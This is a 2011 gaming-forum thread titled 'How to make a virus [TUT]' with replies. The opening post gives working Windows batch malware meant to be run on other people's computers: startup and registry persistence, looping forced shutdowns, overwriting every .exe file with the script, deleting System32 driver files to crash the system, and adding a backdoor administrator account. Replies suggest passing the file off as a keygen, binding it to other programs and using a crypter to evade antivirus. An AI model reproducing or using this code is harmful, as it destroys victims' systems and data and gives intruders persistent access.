Post: How to make a virus [TUT]
08-13-2011, 01:27 AM #1
DMoney750
ERROR ON THE INTERNETZ!!!
(adsbygoogle = window.adsbygoogle || []).push({}); Okay guys here I'm going to show you how to make a virus. With all the ways I am going to teach you your virus can be as unique as possible! Here just letting you guys know this isn't a true virus. It's a .bat file big difference if you have no experience with .bat files or anything like that this is the thread for you Yes

NOTE: USING A VIRUS TO DAMAGE SOMEONE ELSE'S COMPUTER IS ILLEGAL AND I'M NOT RESPONSIBLE FOR WHAT YOU DO WITH THE VIRUS YOU CREATE.

Everything you type should be in notepad!

How to start a virus.
When you are making a virus it should always start with this
    @echo off
@echo off is needed because it hides the actions of the .bat file you don't need it, but it's very nice to have. After that if you want to put your virus in someones start up your beginning should look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

If you just use the @echo off the virus will not repeat after the computer restarts If you want the computer to keep using the virus you must use the second way, but in every code I show I will just use @echo off if you want the virus to keep repeating just add the part in the second code I showed you.

How to make a computer shutdown in two different ways
Okay the first way you can your code will have to look like this.
    @echo off
shutdown -s -t 30 -c "In 30 seconds say bye!"

-s Stands for seconds. -t Stands for time and your time can be anything you want. -c Is the comment. They will see this in the window that shows the shutdown. It's optional if you want it there or not.

The second way to shutdown a computer uses the code that makes the virus in the start up.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

To make the computer shutdown the code will have to look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

When the computer or virus starts up the bat file is told to shutdown the computer with all the information you put in there. Remember you can replace the time (-t) with whatever you want and the comment (-c) is optional. So what this does is every time they open there computer back up this window will keep coming up and the more times they restart their computer the more windows they'll have. To make more windows come up at one time you have to copy the echo shutdown line. So mine would look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

Now 4 windows would pop up saying that.

How to make a URL keep popping up.
To make a URL keep popping up on someones screen when the virus is used your code will have to look like this.
    @echo off
:A
start https://www.nextgenupdate.com
goto :A

This code will make nextgenupdate.com keep popping up on the persons computer screen. This can be very annoying :p

How to infect files.
In this example I will be showing how to infect .exe files. Some of you will recognize this code as the one from Virus Factory if you have used that program before; but all credits will be at the end Smile
Alright here is what your code should look if you want to infect .exe files. All the blue parts are the parts that can be switched based on the files name.
    @echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.[COLOR="#0000FF"]exe[/COLOR]) Do (
Set [COLOR="#0000FF"]exe[/COLOR]Infect=%%Z > Nul
Copy /y %0 %[COLOR="#0000FF"]exe[/COLOR]Infect%
)
)
Del /f /s /q DirPath

Okay as you can see the blue highlighted parts can be changed to different file names. Such as .txt or .rar, you get the point.

How to give a computer the blue screen of death.
If you want the virus to have the blue screen of death on it here's the code for that.
    @echo off
Set load=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Reg Add "%load%" /v "BSOD" /t "REG_SZ" /d %0 /f > nul
Del /q /s /f "%SystemRoot%\System32\Drivers\*.*"

This code will put the blue screen of death inside your virus.

How to add another account to the computer. Administrator included!
If you want to give another account to the computer that gets the virus you will need this code. The part that says username is the username of the account and the part that says password is the password to the account.
    @echo off
net user username password /add

Now if you want the account to be an administrator the code should look like this.
    @echo off
net user username password /add
net localgroup administrators username /add

Yet again the part that says username is the username!

Hopefully this has helped you guys... I don't think I need to get into anymore parts of making a virus, I mean there are more codes you can put in, but that's really not needed.

REMEMBER @ECHO OFF IS NOT NEEDED FOR EVERY CODE IT'S JUST THE BEGINNING OF THE VIRUS!!!!

CREDITS: PCbatch channel and VirusFactory

After you have made your virus save it as a batch file (.bat). Then use the .bat to .exe converter.... switching your virus to an exe file can become very helpful Happy
Heres the .bat to .exe converter. You must login or register to view this content.
(adsbygoogle = window.adsbygoogle || []).push({});

The following user thanked DMoney750 for this useful post:

DinoFreak

The following user groaned DMoney750 for this awful post:

Epic?
08-13-2011, 09:28 PM #20
@echo off only makes it so it hides the current action
if you added @echo off
then ----->cls
it would hide it and clear the screen.

other than that nice job,
but the best .bat files i've seen use the choice command. and most people don't know how to put that on their computer.
08-13-2011, 09:59 PM #21
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by D3ss3rtPr0ducts View Post
@echo off only makes it so it hides the current action
if you added @echo off
then ----->cls
it would hide it and clear the screen.

other than that nice job,
but the best .bat files i've seen use the choice command. and most people don't know how to put that on their computer.

ive heard of
@echo off
---->cls
but ive never heard of the command prompt but thanks for the nice comment anyways Smile
08-13-2011, 10:09 PM #22
Originally posted by DMoney750 View Post
ive heard of
@echo off
---->cls
but ive never heard of the command prompt but thanks for the nice comment anyways Smile


no its not the command prompt
its the choice command in .bat files its a command that allows movement and other stuff from text on the screen.
here's a link to show you what it is.

thats a 2d game made with the choice command the choice command has to be installed through internet resources.
08-13-2011, 10:13 PM #23
.vbs codes are much better in my option. You can do a lot with them.

I have a .vbs script that types by itself. Its pretty cool to watch your friend be like wtf?
08-13-2011, 10:22 PM #24
Originally posted by AsianInvasion View Post
Okay, I'm not a troll, if anything, you need to calm down.

You can't "name your file into keygens". You can attempt to pass your file off as a keygen, or you can bind it with a keygen. You can obviously convert them to an exe, and you'd probably want to use a FUD crypter with it as well.

I'd also like to say, much of what you just said made no sense at all.

I was pointing out that these are "script kiddie" viruses. They are made by people who typically have little-to-no level of knowledge in actual programming. Furthermore, these have no legitimate uses, and really are just annoying. Beyond that, I also pointed out that its not an actual virus, because an actual virus implements a method of spread.
I also pointed out that there are much better actual malware, that are much more undetectable, and much more powerful. They're also much more useful (and typically not made by skids).


there are ways of spreading this you just have to think.
its a bit more difficult to spread, and also if you did a registry delete into a .exe or binded it it would **** someones computer up.
and don't say "no one is dumb enough to open it" because its happened before it'll happen again.
i hate to say it, but yes their are people stupid enough to open a .bat virus.

---------- Post added at 05:22 PM ---------- Previous post was at 05:17 PM ----------

Originally posted by LordOfSpoon
.vbs codes are much better in my option. You can do a lot with them.

I have a .vbs script that types by itself. Its pretty cool to watch your friend be like wtf?


.vbs is pretty cool. <--- agreed.
08-13-2011, 10:59 PM #25
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by D3ss3rtPr0ducts View Post
there are ways of spreading this you just have to think.
its a bit more difficult to spread, and also if you did a registry delete into a .exe or binded it it would **** someones computer up.
and don't say "no one is dumb enough to open it" because its happened before it'll happen again.
i hate to say it, but yes their are people stupid enough to open a .bat virus.

---------- Post added at 05:22 PM ---------- Previous post was at 05:17 PM ----------



.vbs is pretty cool. <--- agreed.

oh i think im finally understanding this a .bat file isn't a virus at all it can be just told to act like one
08-13-2011, 11:33 PM #26
Originally posted by DMoney750 View Post
oh i think im finally understanding this a .bat file isn't a virus at all it can be just told to act like one


Just look at it this way. A .bat file is a "Batch" of codes giving commands to your computer.

So typing

    
@echo off
cls

start iexplore.exe "https://www.awebsite.com"


Will tell CMD to run Internet Explorer (iexplore.exe) and to browse the site you entered.

You can also tell .bat files to open simple programs around your computer. Batch files along with .vbs files are very important in my option. If you work on computers like I do, you can create .bat files to do tasks for you to save time.
08-13-2011, 11:53 PM #27
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by LordOfSpoon
Just look at it this way. A .bat file is a "Batch" of codes giving commands to your computer.

So typing

    
@echo off
cls

start iexplore.exe "https://www.awebsite.com"


Will tell CMD to run Internet Explorer (iexplore.exe) and to browse the site you entered.

You can also tell .bat files to open simple programs around your computer. Batch files along with .vbs files are very important in my option. If you work on computers like I do, you can create .bat files to do tasks for you to save time.

that sounds pretty cool and thanks i finally get what a .bat file is now and here's the catch.... im 12 so i can't really get a job :whistle:
08-13-2011, 11:56 PM #28
Originally posted by DMoney750 View Post
that sounds pretty cool and thanks i finally get what a .bat file is now and here's the catch.... im 12 so i can't really get a job :whistle:


I was just giving an example, but .vbs codes is where the fun is.

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo